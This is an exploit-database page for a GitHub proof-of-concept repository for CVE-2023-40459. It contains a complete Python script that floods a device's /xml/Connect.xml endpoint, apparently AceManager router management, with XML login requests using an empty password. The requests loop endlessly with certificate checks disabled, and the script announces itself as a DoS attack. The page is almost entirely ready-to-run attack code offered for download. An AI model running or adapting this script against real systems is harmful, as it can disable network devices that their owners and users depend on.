Exploit database

GH-3346ab8e628cc14f958d06ecce8b7cf4

7h3w4lk3r/cve-2023-40459

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-40459

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
7h3w4lk3r/cve-2023-40459Revision 4effd57c85d3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2023-40459.py

Python · 2,362 bytes
import sys
import requests
import time
import urllib3

# Suppress only the single InsecureRequestWarning from urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def send_requests(url, port, headers):
    request_count = 0
    data = '''<request xmlns="urn:acemanager">
<connect>
<login>user</login>
<password></password>
</connect>
</request>'''

    try:
        while True:
            try:
                request_count += 1
                print(f'requests sent: {request_count}', end='\r')
                requests.post(f'https://{url}:{port}/xml/Connect.xml', headers=headers, data=data, verify=False)
            except requests.exceptions.ConnectionError:
                pass
            time.sleep(0.1) 
    except KeyboardInterrupt:
        print(f'\nAttack stopped. Total number of requests sent: {request_count}')

if __name__ == '__main__':
    if len(sys.argv) != 3:
        print("Usage: python script.py <url> <port>")
        sys.exit(1)

    target_url = sys.argv[1]
    target_port = sys.argv[2]

    # Initialize headers based on the URL
    headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
        'Accept': 'application/xml, text/xml, */*; q=0.01',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate',
        'Content-Type': 'text/xml',
        'X-Requested-With': 'XMLHttpRequest',
        'Sec-Fetch-Dest': 'empty',
        'Sec-Fetch-Mode': 'cors',
        'Sec-Fetch-Site': 'same-origin',
        'Connection': 'close'
    }

    # Check for HTTP/HTTPS prefix and strip it
    if target_url.startswith('http://'):
        target_url = target_url[7:]  # Strip 'http://'
        # Use HTTP for the request
        headers['Origin'] = f'http://{target_url}:{target_port}'
        headers['Referer'] = f'http://{target_url}:{target_port}/'
    elif target_url.startswith('https://'):
        target_url = target_url[8:]  # Strip 'https://'
        # Use HTTPS for the request
        headers['Origin'] = f'https://{target_url}:{target_port}'
        headers['Referer'] = f'https://{target_url}:{target_port}/'
    else:
        print("URL must start with 'http://' or 'https://'")
        sys.exit(1)

    print("\n\nDoS Attack started, press Ctrl+C to stop...\n")
    send_requests(target_url, target_port, headers)